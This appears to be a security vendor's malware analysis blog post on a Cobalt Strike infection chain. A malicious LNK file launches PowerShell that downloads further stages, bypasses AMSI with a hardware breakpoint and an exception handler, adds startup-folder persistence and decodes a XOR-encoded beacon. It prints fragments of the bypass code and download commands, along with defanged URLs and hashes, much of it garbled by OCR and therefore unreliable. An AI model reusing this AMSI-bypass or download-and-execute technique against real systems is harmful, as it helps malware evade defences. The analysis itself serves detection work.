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Cobalt Strike’s Deployment with Hardware Breakpoint for AMSI
Bypass
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Recently came across a tweet regarding a LNK file creating a hardware breakpoint in the Antimalware Scan
Interface (AMSI).

W MalwareHunterTeam e
' @malwrhunterteam

"update.Ink";
2e040102afbbb3e31cb2bfb46018075f93bc1dc7e8e06e08ebc2997bb2a151
b2

From: https://dk1i32ddgx01b.cloudfront[.]net/p/update.Ink

Next stage: https://d35u6bpvfsr5oqz.cloudfront[.]net/fav.ico

Contains AMSI bypass using breakpoint.

Checks domain before continuing.

r
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Figure 1: Tweet

In this blog, we will get into the dig a little deeper into Cobalt Strike’s New TTP for bypassing the AMSI using

hardware breakpoint.

Initial access

LECmd tool was used to extract LNK file’s argument, which invokes a PowerShell to get the code from the

malicious site.

ystem.Collections.Generic;
m.Ling.Expressions;
m.Ling;
m.Runtime.CompilerServices;
m.Net;

m.Reflection;

using System.Runtime.InteropServices;

namespace Test

Figure 2: Ink File
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In this code a hardware breakpoint (Dr0) was enabled in the address of AMSI scan buffer.

= vold SecupBypass()

I.CONTEXT&4 () ;

= (WinAPT. \Ctx, Tvpeof (WinAPT.

EnableBrea

WinAFI

volid EnableBreakpoint (WinAPI.CONTEXT64 ctx, IntPtr address, int index)

switch (index)

address.ToInt64() ;

Figure 3: Hardware breakpoint in AMSI

In order to bypass AMSI, an exception handler for the AMSI scan buffer’s breakpoint is registered using
AddVectoredExceptionHandler API. In the Handler Code it collects the exception records and the Exception
Address. Then proceeds further only if the exception has occurred in the address of AMSI Scan Buffer. Then it
stores the Stack pointer value in the return address, it sets return address in the instruction pointer and return value
as 0.[1].

eof (WinAPI.CONTEXTE
if (Exceptionk ic == WinAPT. EXCEPTION SING STEP & ® rd.Exceptionhddr
{
g ReturnAddress = (ulong)Marshal.ReadInté4((IntPtr)Co

IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr) (Co > rd.Rsp + (6 * 8)));

Marshal .Writelnt

Handler Code

Figure 4: Exception Handler code

This code contains a PowerShell script to create persistence using the startup folder and download a GZIP

compressed Base64 String . It targets only Domain logon users who have connected in the mentioned domain list.
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=ct IO _MemoryStream(,

1 :FromBasef4String( "H4sTAARAAALA +yTFac/qSLIu+rn

+oVBwRudUSkSv/zth3//G71URr11dnEPrM N9Dp/Diu/
md&27PQ6Gbxax/ FTLEIMIMSCefzx]
fEqifn6rhlidfxeAH3ferXvf,/ vbPBmfl

BUPXSUSTSENZYAT/Uss-08z
Sx++pNhP+WLC gX 50 kmkct@CDAI

iwr -Uri

Figure 5: Targeted domain and next payload

By decompressing this Base64 String with GUnZip, there is another code as shown in Figure 6.

: —
Recipe BmN =
A
From Bascéd
5 iBR1CFd+nL
SFXOGx FyEHNEEHOY SO
A-Ta- -G/ - SFLZZTRSIP kY3 Len3BFR : JRiHNp 3/ BTHEms10UUG/ yaac COMPressed
f (A S vf Da—_a
IvETH/tHvzczon 1y fPLK
r [ strict mode
vnd
Gunzip EWe 1bd caiwd /K z
B2/ PSTvaXjEEPC ) 1gbxdPajklhHdug? Tah
idrdi pfTagevz LvH2
#wPRcBahXTye HdHBE0E aCnDu
P lme W en e ¥Pe rdtd 2 al Gl W ISRLRENETRTATI vdlveu K IS8AAT TS AYEAUR T T2Fan & Srad 00T v
ra
Qutput L2
Set-StrelctMode -Verslon 2 A
ion Func_get
Paran [§var &, Svar_procedure)
ivar_unsafe_native_methads ([&ppOomain]: :CurrentDonain. Getdssemblies() | Where
Object { $_.Globalhssemb ache -And §__Location. Splitl “¥[-1]-Equals{ ‘System.dll")
1) GeeType
woke{Enu

Qbject Systen.Runtime. InteropSer: andlefief [ {New-Dbject IntPtr),
STEP "7. B {$var_unsafe_native_methods . GetMethod( 'GetModulelandle® ) ). Invoke($null, @(3var_module})}),
S 3 BARE! T el

= At Bake Svar_procedure) )
1

Figure 6: XOR encoded Base64 string

This code contains Base64 String which when decoded and XORed int(35) gives out the final Cobalt Strike
Payload as shown in Figure 7 and 8.

Figure 7: XOR key
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- start: 394536 5 = -
Recipe B & input s E AR D3 0=
570z570z570zbnlicXZrqsZros8DIyMjabd+ydzc3Guq/Guid[dNIiPc8GKb@SaBdUsnIyMjeug2tzz IyMjIyMiIyMj
IyIjIye8mSe;lyruApsib+4CdetkUANTUUXEUUIOABBCTULIMVWNBRENRVKODSkADZ 2xwABSMROYNLi4pByMiLyMiIyNn
. TpvKIy/1mSMv9ZkjL /MZK1dmmRUVOZnuXfaYIC/1ImFBdBZg2L /WZTy/@mYsvOZnuXFSYKi/1mFBABIgUL
;—Za—w—gu: - /MZ8F31mCIvOZnuXf2Y1C/ ImFBACpkil /WZ8F33mCIvIZ1xSkBLLy
/1mSMIyMjIyMj LyMj IyMj IyMj LyM3 LyM3 I3NmIyNHpSY§kDQ1xCM IyMj IyMi@yMBAyghKCMjwSEF I28h IyMiIyPF21
1§ IzMjIyMjI6MilyMjIzMjIyMhLyMmLyEjIyMjIyY3ISMIyMj TIMELyMnIyNZOgsj ISNDIiMjMyMIyMi LzMiIyM3 Iy
D Remove non-alphabet chars D Strict mode MiTzMiTyMiTyMzIyMjTyMjTyMiTzM5TyPD2SAG cSMT2PFICNHIyMI TyM TyMj TyMiAyYiwwE § TyMTyM3 TyMI3MmTy
M1TyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjTyMjTyMj TyMjIyPoICNTIyMjTyMj TyMj TyMj TyAjUyUj TyMj TyMjIyMj Iy
M3 IyMFLyMj IyM3 LyMj Tu1XR1tXIyMIBcMh IyMz IyMiwSE§ Iy cj IyMj LyMj LyM IyMj TwMj IOMNUUACVOI IxHYIyMj Iy
XOR AFT98FTyPFISM] IyMjIyMjIyMjIyNjIyNjDUACVOT S IyhirPyTj IyMnTyNNIyMjwSAS TyMi TyMiTyMiTyM]YyMj4w1TRO
IXQiMiumE TyMDI1MiByMFI3MnIyM3 TyMj TyMj IyMiT2MFT2MNUUZPTEAF IS 55 TyM cy Y TzMITyNXTyMi TyMiTyMi Ty
Mj TyNjIyNhIyMjIyMjIyMjIyMjIyMj TyMjTyMjTyMj TyMj IyMj TyMjTyMj TyMj TyMj TyMj TyMj TyMj TyMj TyMjIyMj Iy

From Base64

Ke
35

M3 TyM3 IyM3 IyM3 LyMj IyMj TyMj LyMJ LyMj TyM3 IyMj IyM§ IyMj IyMj TyMj IyMj IyMj yM3 TyMj IyM3 LyM3 IyM IyMj Iy
M= TuMA TuM= TuMA TuME TuM= TuMS TuMS TuME ToM=S TuMS TuMS TyMS TuMS TuMS TuMS TuMS TuMS TuMS TMS TuMS TuMS TuMS Ty v

Stand Null preservin, start: 295947 time: 126ms
Standard U i e Output _ end: 295947 length: 295245 [ rD M r
871

length: @  lines:

_MZARUH.3H.3i ...H..&y¥yyH.RH.Amn. §OA 3pqVh....7H.UyD. . fr .Lf1This A

program cannot be run in DOS mode.

Figure 8: Cobalt Strike

Here the Cobalt Strike C2 Config extracted using this tool is as shown below.

Figure 9: C2 Config

We at K7 Labs have detection against such threats. Users are requested to secure their devices by installing a

reputed security product like “K7 Total Security” and keep it updated to stay protected from the latest threats.

I0Cs
Hash K7 Detection Name
eb08d873d27b94833e738f0df1d6ed26 Trojan ( 0001140e1 )

6302a90a342db9f2159d8f20f19ebb2e Trojan ( 0001140e1 )

3c9c1be6bdd39820ae3ba34ca7a36f1f Trojan ( 0001140e1 )
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